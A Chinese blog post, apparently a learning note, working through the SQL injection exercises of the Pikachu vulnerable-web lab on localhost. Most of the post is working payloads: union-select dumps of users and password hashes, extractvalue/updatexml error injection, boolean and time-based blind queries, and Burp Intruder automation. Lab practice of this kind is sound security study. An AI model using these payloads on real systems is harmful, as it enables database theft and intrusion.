admin管理员组文章数量:1547451
大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
今天更新的是:
- P2 PikaChu_SQL注入
- 往期检索:程序设计学习笔记——目录
创建时间:2021年3月16日
软件: MindMaster Pro 、Burp Suite Pro 、火狐浏览器
P2 PikaChu_SQL注入
- 前言:
- 一、数字型漏洞:
- 漏洞分析:
- 漏洞利用:
- 整理一下思路:
- 二、字符型注入
- 漏洞分析:
- 漏洞利用:
- 三、搜索型注入
- 漏洞分析
- 漏洞利用
- 四、XX型注入
- 漏洞分析
- 漏洞利用
- 五、" insert / update " 注入
- 漏洞分析
- 漏洞利用
- 六、" delete " 注入
- 漏洞分析
- 漏洞利用
- 七、 " Http Header " 注入
- 漏洞分析
- 八、基于boolian的盲注
- 漏洞分析
- 漏洞利用
- 拓展一下思路:
- 九、基于时间的盲注(base on time)
- 漏洞分析
- 漏洞利用
- 我在尝试爆破看看能不能出来,有点儿小问题嘤嘤嘤
前言:
- 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
- 一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
- SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
一、数字型漏洞:
漏洞分析:
- 使用Burp Suite Pro 进行抓包查看
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pikachu/vul/sqli/sqli_id.php
Cookie: DedeUserID=1; DedeUserID__ckMd5=786da070523f2634; DedeLoginTime=1615807353; DedeLoginTime__ckMd5=29799e4e9f6ac3c4; PHPSESSID=iqnhnalirkue2e00gs2d8bap83
Upgrade-Insecure-Requests: 1
id=1&submit=%E6%9F%A5%E8%AF%A2
经过抓包分析:
1. POST的请求方式, 与常规的GET方式不同(GET更容易受到攻击)
2. 前端还通过下拉菜单选择的方式来查询, 限制了用户的输入,但是还是可以通过抓包来修改id值
- 右键
send to repeater
,可以在左侧request
框内的Raw
栏原报文修改id 参数
,然后发送(Send)。 - 在右侧
Response
中 点击Render
查看修改后返回响应的信息。
1 or 1=1#
- 可以看到,页面将所有id的信息返回了,可知存在数字型注入。
漏洞利用:
- 首先若想要进行sql渗透,就先来判断字段到底是多少。
- 用order by 子句猜解查询的字段数。 [猜解查询字段数的原因:使用联合查询时,副查询字段数需要与主查询字段数一致,否则会报错。]
1 order by 2
- num=1、2时正常,为3时报错。说明查询的字段数为2。
- 得到了字段,接下来可以用union联合查询语句查看当前使用的用户、数据库
id=1 union select 1,database()#
- 爆到了数据库之后,用联合查询爆出当前数据库的包含所有表名(table_name)。
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
- 查询重要表的列名(column_name),此处爆的是users表。
- 最后一步,保存数据。这里爆的是username和password这两个字段的数据。密码经过MD5加密,可在解码网站进行解码。解密密码为:000000
- MD5在线解密网站1
- MD5在线解密网站2
整理一下思路:
- POST的请求方式, 与常规的GET方式不同(GET更容易受到攻击)
- 前端还通过下拉菜单选择的方式来查询, 限制了用户的输入。
1. 判断是否有SQL注入点:
--> 1' 、 " 、) 、 ')、 ") 是否报错
--> 1' and 1=1 ' and 1=2 判断返回是否有差异
--> 1' or 1=1 ' or 1=2 判断返回是否有差异
2. 判断语句列数:看看有几列、字段到底是多少?
--> 1 order by 2
3. 得到了字段,接下来可以用union联合查询语句查看当前使用的用户、数据库
--> 1 union select user(),database()
或
--> 1' union select 1,2 # 判断可显示数据的位置
或
--> 1' union select version(),user() # 判断数据名、数据库版本、用户名
4. 用联合查询爆出当前数据库的包含所有表名(table_name)。
--> 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
5. 查询重要表的列名(column_name),此处爆的是users表。
--> 1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
或
--> 1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()# (user_id,first_name,last_name,user,password,avatar,last_login,failed_login)
6. 最后一步,保存数据。这里爆的是username和password这两个字段的数据。密码经过MD5加密,可在解码网站进行解码。
--> 1 union select group_concat(username),group_concat(password) from users #
二、字符型注入
漏洞分析:
- 由Burp Suite Pro抓包分析、这次是GET型, 相对没有POST型那么安全。
由于本题是字符串型注入,所以在查询语句中需要有单引号。
- 猜测后台的SQL查询语句为:
SELECT * FROM users WHERE username='$username';
- 如果没有对单引号进行过滤处理的话, 这样的sql语句很容易被闭合绕过而加入新的恶意语句,
- 比如, 当username值为:1 ’ and 1=1 # 这样就很容易成功注入一句全真语句。
漏洞利用:
- 判断语句列数、字段到底是多少?
- 用order by子句猜解查询的字段数,num=3时报错,说明查询的字段数为2。
1'order by 1,2,3#
- 得到了字段,接下来可以用union联合查询语句判断可显示数据的位置
1' union select 1,2 #
- 判断数据库名、数据库版本、用户名
1' union select version(),user() #
- 用联合查询爆出当前数据库的包含所有表名(table_name)。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
- 查询重要表的列名(column_name)。
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member' #
- 获取数据 ,这里爆的是username和password这两个字段的数据。密码经过MD5加密,可在解码网站进行解码。解密密码为:000000
1' union select database(),group_concat(username,'~',password) from pikachu.users#
三、搜索型注入
漏洞分析
- 本关是搜索型注入,常见是使用like进行查找搜索,数据库的搜索语句一般是
select * from 表名 where username like '%$name%'
漏洞利用
- 页面提示输入用户名进行查找,猜测为字符型注入,用万能语句试试看。
1%' or 1=1 #
- 判断语句列数:看看字段到底是多少?
allen%' order by 3#
allen%' order by 4#
- 得到了字段,接下来可以用union联合查询语句查看当前使用的用户、数据库
allen%' union select 1,user(),database()#
- 用联合查询爆出当前数据库的包含所有表名(table_name)。
a%' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
- 用联合查询爆出重要表的列名(column_name)
a%' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
- 最后一步,保存数据。这里爆的是username和password这两个字段的数据。密码经过MD5加密,可在解码网站进行解码。解密密码为:000000
四、XX型注入
漏洞分析
- 所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等) 我们先输入常见的单引号。
- 发现报错了,观察可推测出数据库的查询语句为:
select * from 表名 where username like '%$name%'
漏洞利用
- 判断语句列数,看看字段到底是多少?
allen') order by 2#
- 当输入值为3时,返回错误信息。
- 得到了字段之后,接下来可以union联合查询语句查看当前使用的用户、数据库
select * from 表名 where username like '%$name%'
- 用联合查询爆出当前数据库的包含所有表名(table_name)。
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 查询重要表的列名(column_name)
1') union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
- 最后一步,保存数据。这里爆的是username和password这两个字段的数据。密码经过MD5加密,可在解码网站进行解码。
kobe') union select database(),group_concat(username,'~',password) from pikachu.users#
五、" insert / update " 注入
- 先注册
漏洞分析
- 使用Burp Suite Pro 进行抓个包看看,我们可以看到抓取的注册的数据包里面的注册信息。
- 右键
send to repeater
,可以在左侧request
框内的Raw
栏原报文修改id 参数
,然后发送(Send)。 - 在右侧
Response
中 点击Render
查看修改后返回响应的信息。
- 产生insert/update注入, 是因为在用户注册和更新信息的时候存在注入点
- 这里先分析insert注入 、insert注入存在于用户注册时候的过程, 当用户注册新信息并提交服务器的时候,服务端采用insert来将信息插入数据库
- 由此得知sql语句可能为:
insert into users(username,password) values($username,$password);
- 当update时, 也是如此:
update users set username=$username,password=$password where username=$username;
漏洞利用
- 已经推测到数据库查询语法,接下来可以一把梭。
- 首先先来到注册点,寻找功能点,我们可以在账号处加个单引号看看。
- 可以看到数据库查询语句的报错。此时可以根据报错提示的信息更新下insert的查询语法:
insert into users(username,password) values('$username','$password');
- 已经可以确定注入点,接下来我们使用extractvalue() 来进行报错注入:
- EXTRACTVALUE (XML_document, XPath_string);
- 第一个参数:XML_document是String格式,为XML文档对象的名称
- 第二个参数:XPath_string(Xpath格式的字符串).
- 作用:从目标XML中返回包含所查询值的字符串
- 能够用于注入是因为,当xpath不符合语法时,该语句会报错 XPATH syntax error : (注入信息), 故可以将待查询的信息放入xpath中,通过报错回显出来。
- 构造payload尝试一下 :
rookie' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
- 或者在Burp Suite Pro 抓的注册数据包中输入,同样可以的到相应的结果。后续操作均可以。
- 上面是我们在插入端(insert)进行的尝试、当我们正常注册登录之后我们看看我能不能在更新端(update)试试
- 同样抓取数据包进行分析
- 同样可以进行暴库
- 构造Payload:
'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
- 爆到数据库之后,再尝试爆一下表
rookie' or extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '
- 爆到表之后,再尝试爆一下列
rookie' or extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) or '
- 爆到列之后,再尝试爆一下关键字段,其余操作跟之前一样
rookie' or extractvalue(1, concat(0x7e,(select group_concat(username,'~',password) from pikachu.users),0x7e)) or '
六、" delete " 注入
漏洞分析
- delete其实跟 insert/update 注入,都是利用报错进行注入。
- 发现在删掉留言的时候抓包,能够将该留言的id给抓取下来。
- 那么我们就可以做到半路拦截这个id,然后利用这个id作一个报错注入。
- 使用Burp Suite Pro 进行抓包查看
- 发现发送数据的时候是POST请求、删除的时候是GET请求
- 我们仔细查看发现删除的GET请求的,是带有 id 的
- 我们可以利用这个 id 来进行注入
漏洞利用
- 因为id是数字型的,所以无需单引号闭合。此处有一点要注意,一些关键字需要转化为URL格式,比如“#”符号需要变化为%23,其他需要转化的关键字有单引号,空格等。
- 关键字的转码也可以在Raw栏内右键进行,或者是选择需要转化的关键字,按快捷键Ctrl+U。
0 or updatexml(1,concat(0x7e,database()),0)#
七、 " Http Header " 注入
- 一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
漏洞分析
- 根据提示、首先使用Burp Suite Pro 进行抓包查看
- 输入账号密码登入之后,进行抓包,将User-Agent和Accept随便换成一个值,并在后面加上单引号。
- 这里的问题挺多的,跟http头里面有关的字段都可以测试一下,如下
- 修改user agent参数,在其后加上单引号,页面返回报错信息:
- 修改Accep参数,在其后加上单引号,页面返回报错信息:
- 修改user agent参数,构建payload:
' or updatexml(1, concat(0x7e, database()), 0) or '
- 修改Accep参数,构建payload:
' or updatexml(1, concat(0x7e, database()), 0) or '
八、基于boolian的盲注
- 在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”
- 也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行, 事实上, 现在很多网站也都是盲注类型。
漏洞分析
- 首先我们并不知道是什么类型的漏洞
- 首先我们先判断一下是否为数字型漏洞、输入1 ’ and 1=1 # 、1 ’ and 1=2 # 看是有回显。
- 我们得出判断说明不是整数型漏洞、然后我们在输入字符 allen ’ and 1=1 # 看看是否有回显。
- 在判读出注入点类型之后,我们尝试着获取字段长度。allen’ order by 3#
- 当我们输入
1 ' and 1=1 # 、1 ' and 1=2 #
发现输入不存在。我们得出结论说明不是整数型漏洞。
- 然后我们在输入字符
allen ' and 1=1 #
发现有正确回显,allen ' and 1=2 #
发现回显错误,我们可以判断出注入点类型
- 在判读出注入点类型之后,我们尝试着获取字段长度。
allen' order by 3#
返回信息失败。
- 只能通过真或者假来获取数据或者跑sqlmap,给出一些基本的盲注语句
判断库名长度
判断库名长度 :
and length(database())=长度数字#
判断库名的组成:
and ascii(substr(database(), 1, 1)) = ascii的表中字母对应的数字#(这里1,1 代表着第一个数据的第一个字母)
猜解表名,猜解列名也是用这个语法:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115
漏洞利用
- 在布尔盲注的过程中, 使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等
- 比如, 假如我们要爆数据库名, 得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符,
- 为什么要采取这么麻烦的方式呢?因为页面不存在报错, 无法直接通过报错+联合查询注入得知, 所以只能一点点通过页面是否正确来判断。
allen' and length(database())>10 # ==> 页面错误
allen' and length(database())>5 # ==> 页面正确
allen' and length(database())>8 # ==> 页面错误
allen' and length(database())>6 # ==> 页面正确
allen' and length(database())=7 # ==> 页面正确
- 利用字符的ASCII码值逐个猜解数据库名的每个字符:
kobe' and ascii(substr(database(),1,1))=num#
- 该语句中的substr函数限制查询的字符串只返回一个字母。
allen' and ascii(mid(database(),1,1))>115 # ==> 页面错误
allen' and ascii(mid(database(),1,1))>110 # ==> 页面正确
allen' and ascii(mid(database(),1,1))>113 # ==> 页面错误
allen' and ascii(mid(database(),1,1))=112 # ==> 页面正确
- 推出第一个字符的ascii码为112,对应字符为p。
- 依次爆字符,推出数据库的名字为pikachu。
- 爆数据库的所有表个数
allen' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ==> 页面错误
allen' and (select count(table_name) from information_schema.tables where table_schema=database())=5 # ==> 页面正确
- 推测出来有5个表,然后我们来推测定第一个表的长度。进而往下推测
allen' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 # ==> 页面正确
- 说明存在着八位字符,那么先来爆第一个字符
allen' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 # ==> 页面正确
- 得到第一表的第一字符为h, 然后依次得到第一个表为httpinfo
- 爆指定表的字段个数、假如我们现在要爆users表的字段个数:
allen' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4 # 页面返回正常
allen' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5 # 页面返回错误
- 由此可知字段个数为4
- 根据这个思路我们逐渐往下进行爆破:
- 接着爆第一个字段的长度:
allen' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 # 页面返回正常
- 以此类推 ,然后爆第一个字符,得出ascii码为105,对应i,用这个思路逐步爆破
allen' and ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 #
拓展一下思路:
- 使用burp的intruder能够很方便地处理数据。打开拦截,输入该语句并且提交,右键将拦截到的报文发送至intruder。
- 将拦截到的数据包中的
name
中的数据,复制粘贴到Decoder
中在右侧Decode as ....
中选择URL
进行转码。得到还原后的的SQL语句找到变量。
- 在
positions
栏内先点击clear $
来清除软件自动判定的定位符,再选中num
的参数,点击add $
给选定的参数添加定位符。 - 在payloads栏内修改
payload type
为Numbers
,在下方的Number range
设置参数的范围,ASCII码值范围33-126覆盖了绝大多数的字符。step设置为1
,设置完即可点击start attack
开始注入。
- 在此根据返回页面length数据的差别可以看出,当前数据库名的第一个字符的ASCII码值为105。参照ASCII码表可知,第一个字符为
i
。
九、基于时间的盲注(base on time)
- 基于时间的盲注,无论输入什么信息页面都返回相同的信息,无法根据页面返回信息来确认真假,但可以通过页面返回信息的时间长短来判断页面是否成功执行了注入的语句。
- 在pikachu的时间盲注类型测试框内无论输入正确还是错误的username,页面只返回一句话 “i don’t care who you are ! ”
漏洞分析
- 跟布尔盲注基本上大同小异,但是是利用了sleep这个函数,如果成功执行了,就延时xxxx秒
- 本题不管你输入什么,都是一样的回显,这就是经典的延时注入。开搞
- 打开F12 浏览网网络,看看当我们输入延时看看有什么反应 !
allen' and sleep(5)#
- 我们可以清楚的看到,的确延迟了5s 说明确实存在该漏洞。
漏洞利用
- 获取数据库的长度
kobe' and sleep(if(length(database())>7,0,3)) # ==> 延时
kobe' and sleep(if(length(database())=7,0,3)) # ==> 不延时
- 配合if表达式,就可以逐个爆出数据库的名字。
kobe' and if((ascii(substr(database(),1,1))=112),sleep(5),null)#
- 若当前数据库名字的第一个字符为112,则执行sleep函数使页面延时5秒,否则返回空值,什么都不执行。
- 后面的方法跟布尔盲注基本一样
我在尝试爆破看看能不能出来,有点儿小问题嘤嘤嘤
各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。
每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
把握现在 ,展望未来 ,加油 !
由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !
本文标签: PikaChuSQL
版权声明:本文标题:P2 PikaChu_SQL注入 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1727192715a1101601.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论